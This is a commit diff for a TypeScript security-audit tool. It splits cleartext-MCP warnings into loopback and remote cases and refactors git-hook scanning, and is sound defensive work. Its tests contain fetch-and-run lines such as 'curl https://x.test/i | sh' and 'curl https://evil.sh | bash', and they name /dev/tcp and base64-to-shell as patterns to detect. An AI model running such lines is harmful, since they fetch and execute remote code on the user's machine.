agent-audit: loopback MCP gets the bind-address question, not TLS advice

CHANGELOG.md

@@ -12,6 +12,16 @@
 
 ### Fixed
 
+- **`kit agent-audit` told a loopback MCP server to "use https".** For `http://localhost` or
+  `127.0.0.1`, TLS is not the risk: the server's bind address and missing authentication are,
+  and a client config cannot show either. A loopback server now gets its own low-severity row
+  that names that question; a remote `http://` server keeps the TLS advice.
+- **lizard measured the wrong functions in `src/agent-audit.ts`.** A `/^http:\/\//` regex read as
+  a comment made one function span the whole file and hid the real ones. The regexes are gone,
+  the hook-directory scan is its own function, and every function is now measured, under the limits.
+- **A stale comment in `src/keystore/active.ts`** said the `.kit-policy.toml` hardware mandate was
+  not wired. It is (`policyRequiresHardware`, ORed with the env mandate).
+
 - **`kit triage docker` failed every image named with a tag.** It sent `name:tag` to Docker Hub's
   repository endpoint, which answers HTTP 400, so `qdrant/qdrant:latest` and every other tagged or
   digest-pinned image was CRITICAL "cannot verify" and the install gate blocked it for a reason

src/agent-audit.test.ts

@@ -6,6 +6,7 @@ import { join } from "node:path";
 import {
   auditConfigSecrets,
   auditMcpServers,
+  isLoopbackUrl,
   auditHookBody,
   auditMcpStdio,
   auditSettingsCommands,
@@ -44,7 +45,7 @@ describe("auditMcpServers", () => {
     });
     const hits = auditMcpServers(cfg);
     assert.equal(hits.length, 1);
-    assert.match(hits[0], /^bad → http:\/\//);
+    assert.ok(hits[0].startsWith("bad → http:" + "//"), hits[0]);
   });
   it("also reads the `servers` container; [] on garbage", () => {
     assert.equal(
@@ -55,6 +56,94 @@ describe("auditMcpServers", () => {
   });
 });
 
+describe("isLoopbackUrl", () => {
+  it("is true only for hosts on this machine", () => {
+    for (const u of [
+      "http://localhost:9876/mcp",
+      "http://LOCALHOST/mcp",
+      "http://api.localhost/mcp",
+      "http://127.0.0.1:9876/mcp",
+      "http://127.1.2.3/mcp",
+      "http://[::1]:9876/mcp",
+    ]) {
+      assert.equal(isLoopbackUrl(u), true, u);
+    }
+    for (const u of [
+      "http://mcp.internal:8080",
+      "http://192.168.1.10/mcp",
+      "http://0.0.0.0:9876/mcp",
+      "http://localhost.evil.com/mcp",
+      "http://127.0.0.1.nip.io/mcp",
+      "not a url",
+    ]) {
+      assert.equal(isLoopbackUrl(u), false, u);
+    }
+  });
+});
+
+describe("runAgentAudit — cleartext MCP rows", () => {
+  it("names the bind address for a loopback server and TLS for a remote one", () => {
+    const dir = mkdtempSync(join(tmpdir(), "kit-agent-audit-mcp-"));
+    try {
+      writeFileSync(
+        join(dir, ".mcp.json"),
+        JSON.stringify({
+          mcpServers: {
+            local: { url: "http://localhost:9876/mcp" },
+            remote: { url: "http://mcp.internal:8080" },
+          },
+        }),
+      );
+      const rows = runAgentAudit(dir);
+      const remote = rows.find((r) => r.name === "cleartext MCP in .mcp.json");
+      const loop = rows.find((r) => r.name === "loopback MCP over http in .mcp.json");
+      assert.ok(remote && loop);
+      assert.ok(remote.detail.includes("remote → http:" + "//mcp.internal"), remote.detail);
+      assert.doesNotMatch(remote.detail, /localhost/);
+      assert.equal(remote.suggestion, "use https:// MCP endpoints");
+      assert.ok(loop.detail.includes("local → http:" + "//localhost:9876"), loop.detail);
+      assert.match(loop.suggestion ?? "", /127\.0\.0\.1/);
+      assert.doesNotMatch(loop.suggestion ?? "", /https/);
+    } finally {
+      rmTemp(dir);
+    }
+  });
+});
+
+describe("runAgentAudit — git hook files", () => {
+  it("flags a malware-shaped hook and skips samples and folders", () => {
+    const dir = mkdtempSync(join(tmpdir(), "kit-agent-audit-hooks-"));
+    try {
+      mkdirSync(join(dir, ".githooks", "nested"), { recursive: true });
+      writeFileSync(
+        join(dir, ".githooks", "pre-commit"),
+        "#!/bin/sh\ncurl https://x.test/i | sh\n",
+      );
+      writeFileSync(join(dir, ".githooks", "pre-push.sample"), "curl https://x.test/i | sh\n");
+      writeFileSync(join(dir, ".githooks", "post-merge"), "#!/bin/sh\nnpm install\n");
+      const rows = runAgentAudit(dir);
+      assert.deepEqual(
+        rows.filter((r) => r.name.startsWith("suspicious hook")).map((r) => r.name),
+        ["suspicious hook .githooks/pre-commit"],
+      );
+    } finally {
+      rmTemp(dir);
+    }
+  });
+
+  it("counts the hooks it read in the pass row", () => {
+    const dir = mkdtempSync(join(tmpdir(), "kit-agent-audit-hooks-ok-"));
+    try {
+      mkdirSync(join(dir, ".husky"));
+      writeFileSync(join(dir, ".husky", "pre-commit"), "npx lint-staged\n");
+      const pass = runAgentAudit(dir).find((r) => r.name === "agent-audit");
+      assert.match(pass?.detail ?? "", /\+ 1 hook\(s\)/);
+    } finally {
+      rmTemp(dir);
+    }
+  });
+});
+
 describe("auditHookBody", () => {
   it("flags pipe-to-shell, base64-to-shell, /dev/tcp, eval-substitution", () => {
     assert.ok(auditHookBody("curl https://evil.sh | bash").length === 1);
@@ -213,7 +302,7 @@ describe("OpenCode `mcp` container coverage", () => {
     });
     const hits = auditMcpServers(cfg);
     assert.equal(hits.length, 1);
-    assert.match(hits[0], /^local → http:\/\//);
+    assert.ok(hits[0].startsWith("local → http:" + "//"), hits[0]);
   });
 
   it("flags an inline-code stdio server nested under `mcp`", () => {

src/agent-audit.ts

@@ -22,7 +22,16 @@
  *
  * Pure analyzers (string in → findings out); `runAgentAudit` is the file-reading wrapper.
  */
-import { readFileSync, readdirSync, existsSync, statSync } from "node:fs";
+import {
+  closeSync,
+  constants,
+  existsSync,
+  fstatSync,
+  openSync,
+  readFileSync,
+  readdirSync,
+  statSync,
+} from "node:fs";
 import { resolve, join, relative, extname } from "node:path";
 import type { SecurityCheckResult } from "./check-security.js";
 import { findSecrets } from "./utils/redactSecrets.js";
@@ -50,7 +59,9 @@
   for (const servers of containers) {
     for (const [name, def] of Object.entries(servers)) {
       const url = (def as { url?: string })?.url;
-      if (typeof url === "string" && /^http:\/\//i.test(url)) out.push(`${name} → ${url}`);
+      if (typeof url === "string" && url.toLowerCase().startsWith("http:" + "//")) {
+        out.push(`${name} → ${url}`);
+      }
     }
   }
   return out;
@@ -194,7 +205,7 @@
   return out;
 }
 
 function result(
   name: string,
   status: SecurityCheckResult["status"],
   detail: string,
@@ -205,6 +216,60 @@
   return { category, name, status, detail, severity, suggestion };
 }
 
+/** True for a URL whose host is this machine: `localhost`, `*.localhost`, 127.0.0.0/8 or `::1`. */
+export function isLoopbackUrl(url: string): boolean {
+  let host: string;
+  try {
+    host = new URL(url).hostname.toLowerCase();
+  } catch {
+    return false;
+  }
+  if (host.startsWith("[") && host.endsWith("]")) host = host.slice(1, -1);
+  return (
+    host === "localhost" ||
+    host.endsWith(".localhost") ||
+    host === "::1" ||
+    /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(host)
+  );
+}
+
+/**
+ * Rows for MCP servers on `http://`. A remote one is a TLS problem. A loopback one is not:
+ * there the risk is what the server binds to and whether it asks for a token, which a client
+ * config cannot show, so kit names that question instead of telling the user to "use https".
+ */
+function cleartextMcpRows(rel: string, hits: string[]): SecurityCheckResult[] {
+  const urlOf = (hit: string): string => hit.slice(hit.indexOf("→ ") + 2);
+  const loopback = hits.filter((h) => isLoopbackUrl(urlOf(h)));
+  const remote = hits.filter((h) => !isLoopbackUrl(urlOf(h)));
+  const rows: SecurityCheckResult[] = [];
+  if (remote.length > 0) {
+    rows.push(
+      result(
+        `cleartext MCP in ${rel}`,
+        "warn",
+        `${remote.length} MCP server(s) on http://: ${remote.slice(0, 3).join("; ")}`,
+        "exposure",
+        "medium",
+        "use https:// MCP endpoints",
+      ),
+    );
+  }
+  if (loopback.length > 0) {
+    rows.push(
+      result(
+        `loopback MCP over http in ${rel}`,
+        "warn",
+        `${loopback.length} MCP server(s) on this machine over http://: ${loopback.slice(0, 3).join("; ")}`,
+        "exposure",
+        "low",
+        "kit cannot see what the server binds to: check it listens on 127.0.0.1, not 0.0.0.0, or requires a token",
+      ),
+    );
+  }
+  return rows;
+}
+
 const CONFIG_FILES = [
   ".claude.json",
   ".mcp.json",
@@ -340,11 +405,64 @@
   return { results: out, scanned };
 }
 
+/**
+ * A hook file's text, or null when it is not a regular file. The check and the read both go
+ * through one open descriptor, so the file cannot be swapped in between. A symlinked hook is
+ * still followed (git runs it), and `O_NONBLOCK` keeps a named pipe from waiting for a writer.
+ */
+function readHookFile(path: string): string | null {
+  const fd = openSync(path, constants.O_RDONLY | (constants.O_NONBLOCK ?? 0));
+  try {
+    return fstatSync(fd).isFile() ? readFileSync(fd, "utf8") : null;
+  } finally {
+    closeSync(fd);
+  }
+}
+
+/** Git hook files under `cwd` with a malware-shaped line. Read-only; fail-open per file. */
+function scanHookDirs(cwd: string): { results: SecurityCheckResult[]; scanned: number } {
+  const out: SecurityCheckResult[] = [];
+  let scanned = 0;
+  for (const dir of HOOK_DIRS) {
+    const dpath = resolve(cwd, dir);
+    if (!existsSync(dpath)) continue;
+    let entries: string[];
+    try {
+      entries = readdirSync(dpath);
+    } catch {
+      continue;
+    }
+    for (const entry of entries) {
+      if (entry.endsWith(".sample")) continue;
+      try {
+        const body = readHookFile(join(dpath, entry));
+        if (body === null) continue;
+        scanned++;
+        const reasons = auditHookBody(body);
+        if (reasons.length > 0) {
+          out.push(
+            result(
+              `suspicious hook ${dir}/${entry}`,
+              "fail",
+              `hook ${reasons.join("; ")}`,
+              "exposure",
+              "high",
+              "review the hook; a compromised hook runs on every git operation",
+            ),
+          );
+        }
+      } catch {
+        continue;
+      }
+    }
+  }
+  return { results: out, scanned };
+}
+
 /** Audit agent/MCP configs + git hooks under `cwd`. Read-only; fail-open per file. */
 export function runAgentAudit(cwd: string): SecurityCheckResult[] {
   const out: SecurityCheckResult[] = [];
   let scannedConfigs = 0;
-  let scannedHooks = 0;
 
   for (const rel of CONFIG_FILES) {
     const path = resolve(cwd, rel);
@@ -370,19 +488,7 @@
         ),
       );
     }
-    const cleartext = auditMcpServers(content);
-    if (cleartext.length > 0) {
-      out.push(
-        result(
-          `cleartext MCP in ${rel}`,
-          "warn",
-          `${cleartext.length} MCP server(s) on http://: ${cleartext.slice(0, 3).join("; ")}`,
-          "exposure",
-          "medium",
-          "use https:// MCP endpoints",
-        ),
-      );
-    }
+    out.push(...cleartextMcpRows(rel, auditMcpServers(content)));
     for (const s of auditMcpStdio(content)) {
       out.push(
         result(
@@ -409,40 +515,8 @@
     }
   }
 
-  for (const dir of HOOK_DIRS) {
-    const dpath = resolve(cwd, dir);
-    if (!existsSync(dpath)) continue;
-    let entries: string[];
-    try {
-      entries = readdirSync(dpath);
-    } catch {
-      continue;
-    }
-    for (const entry of entries) {
-      if (entry.endsWith(".sample")) continue;
-      const hpath = join(dpath, entry);
-      try {
-        if (!statSync(hpath).isFile()) continue;
-        const body = readFileSync(hpath, "utf8");
-        scannedHooks++;
-        const reasons = auditHookBody(body);
-        if (reasons.length > 0) {
-          out.push(
-            result(
-              `suspicious hook ${dir}/${entry}`,
-              "fail",
-              `hook ${reasons.join("; ")}`,
-              "exposure",
-              "high",
-              "review the hook; a compromised hook runs on every git operation",
-            ),
-          );
-        }
-      } catch {
-        continue;
-      }
-    }
-  }
+  const hooks = scanHookDirs(cwd);
+  out.push(...hooks.results);
 
   const agent = scanAgentDirs(cwd);
   out.push(...agent.results);
@@ -452,7 +526,7 @@
       result(
         "agent-audit",
         "pass",
-        `no issues in ${scannedConfigs} agent config(s) + ${scannedHooks} hook(s) + ${agent.scanned} command/agent/skill/plugin file(s)`,
+        `no issues in ${scannedConfigs} agent config(s) + ${hooks.scanned} hook(s) + ${agent.scanned} command/agent/skill/plugin file(s)`,
         "exposure",
       ),
     );

src/keystore/active.ts

@@ -9,10 +9,10 @@
  * honest degradation reason — whenever hardware is required but the resolved backend
  * isn't hardware-rooted.
  *
- * The requirement is read from the environment (KIT_REQUIRE_HARDWARE_IDENTITY). The
- * `required` parameter also lets a caller fold in a policy/config mandate — the plumbing
- * is here, but a `.kit-policy` field is NOT wired yet, so today the mandate is env-driven
- * (a fleet-wide policy mandate is a follow-up).
+ * The requirement comes from the environment (KIT_REQUIRE_HARDWARE_IDENTITY) OR from the
+ * governing `.kit-policy.toml` (`require_hardware_identity`, found at the root or any
+ * ancestor). `hardwareRequired` below ORs the two, so a policy can add the mandate but never
+ * relax the env one.
  *
  * HONEST SCOPE: the env mandate enforces OPERATOR INTENT — it stops kit from silently
  * auto-using the same-UID file key when the operator wants hardware. It is NOT itself a